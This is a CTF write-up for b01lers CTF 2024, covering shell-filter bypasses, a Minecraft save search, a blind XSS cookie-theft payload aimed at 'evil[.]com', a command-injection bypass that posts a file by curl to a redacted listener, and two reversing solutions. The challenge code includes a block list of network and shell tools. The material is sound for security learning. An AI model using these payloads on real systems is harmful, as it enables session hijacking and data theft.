b01lers CTF 2024 - writeups

Writeups for solved b01lers CTF 2024 challenges

points: 2366 rank: 61/393


misc

wabash, its a river, but also a new shell! Flag is in /flag.txt

Shell challenge - it adds wa on start of each command and arguments seperated with spaces so commands and args will not work. Example input: cat /flag.txt > wacat wa/flag.txt

Solution: |cat</flag.txt

flag: bctf{wabash:_command_not_found521065b339eb59a71c06a0dec824cd55}

It allows commands. but certain characters and words are getting filtered out like ()""$*? among others. Also, the word flag is not allowed as input.

Solution: cat {f,}lag.txt

flag: bctf{owwwww_th4t_hurt}

Here’s a minecraft world, the flag is on a piece of paper in the the chest by spawn, it’s hard to miss. Version 1.20

We are given Minecraft world save file, look for ways to parse this. I found a chunk extractor script that can extract contents from a region save. From there we can grep each region for any minecraft chunk/block we want.

https://github.com/sudofox/minecraft-utils/blob/master/region-parser/region-parser.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# unzip the save file and under regions run the script for each .mca file
./region-parser.sh r.0.-1.mca 
./region-parser.sh r.0.0.mca 
# ... 

# after unpacking all we can check each content if it contains chest / paper
find . -name "*.nbt" -exec grep minecraft:chest {} \;
find . -name "*.nbt" -exec grep minecraft:paper {} \;

# we can just search for the flag 
find . -name "*.nbt" -exec grep -a bctf {} \;

Alt text
flag: bctf{ch1st_ch2st_ch3st_ch4st_ch5st}


web

#xss/blind #filter-bypass

XSS challenge - We are allowed to input any html data we want and the admin visits that but the content should not contain quotes, double quotes and backticks:

Main challenge

1
2
  const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');
  const urlToVisit = CONFIG.APPURL + '/admin/view/?content=' + content;

We can use String.fromCharCode https://charcode98.neocities.org/ to avoid using quotes and encode our URL before sending it to the admin. Admin visits our site with their cookies in the query.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import requests
url = 'http://b01ler-ads.hammer.b01le.rs/review'

# fetch('evil[.]com?cookie'=document.cookie)
payload = """
<script>
     var url = String.fromCharCode(104, 116, 116, 112, 58...)
     fetch(url+ encodeURI(document.cookie))
</script>
"""

encoded = "%3Cscript%3E%0A%20%20%20%20let%20url%20%3D%20String%2EfromCharCode%28104%2C%20116%2C%20116%2C%20112%2C%2058%2E%2E%2E%29%0A%20%20%20%20fetch%28url%20%20encodeURI%28document%2Ecookie%29%29%0A%3C%2Fscript%3E"

data = {
    'content':encoded
}

r = requests.post(url, data=data)
print(r.text)
/b01lers-2024/image.png
listener

flag: bctf{wow_you_can_get_a_free_ad_now!}

#command-injection/blind #filter-bypass

Command Injection challenge where we need to bypass a blacklisted words and leak a flag.png. To solve this I setup a file upload server after confirming i can do a curl command.

Main challenge

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
@app.route("/pentest_submitted_flags", methods=["POST"])
def submit():
    if request.is_json:
        # Retrieve JSON data
        data = request.json
        content = data["content"]
        if sus(content):
            return jsonify({"message": "The requested URL was rejected. Please consult with your administrator."}), 200
        else:
            filename = "writeup_" + secrets.token_urlsafe(50)
            os.system(f"bash -c \'echo \"{content}\" > {filename}\'")
            # Like I care about your writeup
            os.system(f"rm -f writeup_{filename}")
            return jsonify({"message": "Writeup submitted successfully"}), 200
    else:
        return jsonify({'error': 'Request data must be in JSON format'}), 400

waf.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
def sus(content):
    taboo = [
    "bin",
    "base64",
    "export",
    "python3",
    "export",
    "ruby",
    "perl",
    "x",
    "/",
    "(",
    ")"
    "\\",
    "rm",
    "mv",
    "chmod",
    "chown",
    "tar",
    "gzip",
    "bzip2",
    "zip",
    "find",
    "grep",
    "sed",
    "awk",
    "cat",
    "less",
    "more",
    "head",
    "tail",
    "echo",
    "printf",
    "read",
    "touch",
    "ln",
    "wget",
    "curl",
    "fetch",
    "scp",
    "rsync",
    "sudo",
    "ssh",
    "nc",
    "netcat",
    "ping",
    "traceroute",
    "iptables",
    "ufw",
    "firewalld",
    "crontab",
    "ps",
    "top",
    "htop",
    "du",
    "df",
    "free",
    "uptime",
    "kill",
    "killall",
    "nohup",
    "jobs",
    "bg",
    "fg",
    "watch",
    "wc",
    "sort",
    "uniq",
    "tee",
    "diff",
    "patch",
    "mount",
    "umount",
    "lsblk",
    "blkid",
    "fdisk",
    "parted",
    "mkfs",
    "fsck",
    "dd",
    "hdparm",
    "lsmod",
    "modprobe",
    "lsusb",
    "lspci",
    "ip",
    "ifconfig",
    "route",
    "netstat",
    "ss",
    "hostname",
    "dnsdomainname",
    "date",
    "cal",
    "who",
    "w",
    "last",
    "history",
    "alias",
    "export",
    "source",
    "umask",
    "pwd",
    "cd",
    "mkdir",
    "rmdir",
    "stat",
    "file",
    "chattr",
    "lsof",
    "ncdu",
    "dmesg",
    "journalctl",
    "logrotate",
    "systemctl",
    "service",
    "init",
    "reboot",
    "shutdown",
    "poweroff",
    "halt",
    "systemd",
    "update-alternatives",
    "adduser",
    "useradd",
    "userdel",
    "usermod",
    "groupadd",
    "groupdel",
    "groupmod",
    "passwd",
    "chpasswd",
    "userpasswd",
    "su",
    "visudo",
    "chsh",
    "chfn",
    "getent",
    "id",
    "whoami",
    "groups",
    "quota",
    "quotaon",
    "quotacheck",
    "scp",
    "sftp",
    "ftp",
    "tftp",
    "telnet",
    "ssh-keygen",
    "ssh-copy-id",
    "ssh-add",
    "ssh-agent",
    "nmap",
    "tcpdump",
    "iftop",
    "arp",
    "arping",
    "brctl",
    "ethtool",
    "iw",
    "iwconfig",
    "mtr",
    "tracepath",
    "fping",
    "hping3",
    "dig",
    "nslookup",
    "host",
    "whois",
    "ip",
    "route",
    "ifconfig",
    "ss",
    "iptables",
    "firewalld",
    "ufw",
    "sysctl",
    "uname",
    "hostnamectl",
    "timedatectl",
    "losetup",
    "eject",
    "lvm",
    "vgcreate",
    "vgextend",
    "vgreduce",
    "vgremove",
    "vgs",
    "pvcreate",
    "pvremove",
    "pvresize",
    "pvs",
    "lvcreate",
    "lvremove",
    "lvresize",
    "lvs",
    "resize2fs",
    "tune2fs",
    "badblocks",
    "udevadm",
    "pgrep",
    "pkill",
    "atop",
    "iotop",
    "vmstat",
    "sar",
    "mpstat",
    "nmon",
    "finger",
    "ac",
    "journalctl",
    "ls",
    "dir",
    "locate",
    "updatedb",
    "which",
    "whereis",
    "cut",
    "paste",
    "tr",
    "comm",
    "xargs",
    "gunzip",
    "bunzip2",
    "unzip",
    "xz",
    "unxz",
    "lzma",
    "unlzma",
    "7z",
    "ar",
    "cpio",
    "pax",
    "ftp",
    "sftp",
    "ftp",
    "wget",
    "curl",
    "fetch",
    "rsync",
    "scp",
    "ssh",
    "openssl",
    "gpg",
    "pgp",
    ]
    for item in taboo:
        if item in content.lower():
            return True
    return False

We can bypass most of the linux command words using this technique c''url and to bypass the / we can do ${HOME:0:1}. https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions

The command I used does a POST request to my file upload server with the /flag.png attached in the body

solve.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import requests 
from waf import sus

# curl -F data=/flag.png <ip:port>
payload = "cu''rl -F \"data=@${HOME:0:1}flag.png\" <redacted>"
content = f"""123" ; {payload} ; e''cho "123"""
assert not sus(content)
filename = "test"
command = f"bash -c \'echo \"{content}\" > {filename}\'"
print(content)
print(command)
# os.system(command) 

url = "https://threecityelf-53b6fe52e327b2cb.instancer.b01lersc.tf/pentest_submitted_flags"

json = {
    'content': content
}
r = requests.post(url, json=json)
print(r.text)

server.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from flask import Flask, request
import os

app = Flask(__name__)

UPLOAD_FOLDER ='uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
@app.route('/', methods=["POST"])
def xfil():
    try:
        file = request.files['data']
        filename = file.filename
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
    except Exception as e:
        return str(e)
    return 'Success'
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8901)

To view the flag, I just opened the uploaded file under /uploads on the listener server

/b01lers-2024/image-1.png
flag.png

flag: bctf{Lucky_you_I_did_not_code_this_stuff_in_Ruby_lasudkjklhdsfkhjkae}


rev

Analyze in ghidra and learn that the super_optimized_calculation is not so optimized. It just returns the nth fibonacci number

We can just hardcode it and run it will print the flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
int main{
    unsigned long long uVar1;
    // ....
    local_78[20] = 0xc1;
    local_78[21] = 0x161;
    local_78[22] = 0x10d;
    local_78[23] = 0x1e7;
    local_78[24] = 0xf5;
    // uVar1 = super_optimized_calculation(0x5a);
    uVar1 = 2880067194370816120; // 0x5a/90th fibonacci number
    for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) {
        putc((int)(uVar1 % (unsigned long long)local_78[(int)local_84]),stdout);
    }
    putc(10,stdout);
    if (local_10 != *(unsigned long *)(in_FS_OFFSET + 0x28)) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return 0;
}

flag: bctf{what’s_memoization?}

#js #deobfuscation

The original file provided is obfuscated. which can be deobfuscated here: https://obf-io.deobfuscate.io/

The main challenge is under addToPassword function doing comparisons and operations.

Basically, It just checks the index if it matches with the corresponding operation on the right. If we start from the button we will know that arr[3] = 82 and then work up from there. 82 ^ 0x36 = 100 etc..

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function addToPassword(_0x43b7e8) {
    if (guess.length < 0x6) {
      guess += _0x43b7e8;
      _0x38a66f();
      if (guess.length === 0x6) {
        let arr = Array(0x6);
        for (let i = 0x0; i < 0x6; i += 0x1) {
          arr[i] = guess[i].charCodeAt(0x0);
        }
        // 48-57
        let _0x4cedc7 = true;
        _0x4cedc7 &= arr[0x4] == arr[0x1] - 0x4; // a[4] 48
        _0x4cedc7 &= arr[0x1] == (arr[0x0] ^ 0x44); // a[1] 52
        _0x4cedc7 &= arr[0x0] == arr[0x2] - 0x7; 
        _0x4cedc7 &= arr[0x3] == (arr[0x2] ^ 0x25); // a[3] 82
        _0x4cedc7 &= arr[0x5] == (arr[0x0] ^ 0x14); 
        _0x4cedc7 &= arr[0x4] == arr[0x1] - 0x4;  
        _0x4cedc7 &= arr[0x0] == (arr[0x3] ^ 0x22); 
        _0x4cedc7 &= arr[0x0] == arr[0x2] - 0x7;   // a[0] 112
        _0x4cedc7 &= arr[0x0] == arr[0x5] + 0xc; // a[0] 112
        _0x4cedc7 &= arr[0x2] == arr[0x4] + 0x47;   // a[2] 119
        _0x4cedc7 &= arr[0x2] == (arr[0x5] ^ 0x13); // a[2] 119
        _0x4cedc7 &= arr[0x5] == (arr[0x3] ^ 0x36); // a[5] 100
        _0x4cedc7 &= 0x52 == arr[0x3]; // a[3] 82
        // 112 52 119 82 48 100 = "p4wR0d"
        if (_0x4cedc7) {
          document.getElementById("display").classList.add("correct");
          let _0x401b01 = CryptoJS.AES.decrypt("U2FsdGVkX19WKWdho02xWkalqVZ3YrA7QrNN4JPOIb5OEO0CW3Qj8trHrcQNOwsw", guess).toString(CryptoJS.enc.Utf8);
        //   let _0x401b01 = CryptoJS.AES.decrypt("U2FsdGVkX19WKWdho02xWkalqVZ3YrA7QrNN4JPOIb5OEO0CW3Qj8trHrcQNOwsw", "p4wR0d").toString(CryptoJS.enc.Utf8);
          console.log(_0x401b01);
          document.getElementById("display").textContent = _0x401b01;
        } else {
          document.getElementById("display").classList.add("wrong");
        }
      }
    }
  }

After getting the key p4wR0d we can just decrypt it using the following:

1
CryptoJS.AES.decrypt("U2FsdGVkX19WKWdho02xWkalqVZ3YrA7QrNN4JPOIb5OEO0CW3Qj8trHrcQNOwsw", "p4wR0d").toString(CryptoJS.enc.Utf8);

flag: bctf{345y-p4s5w0rd->w<}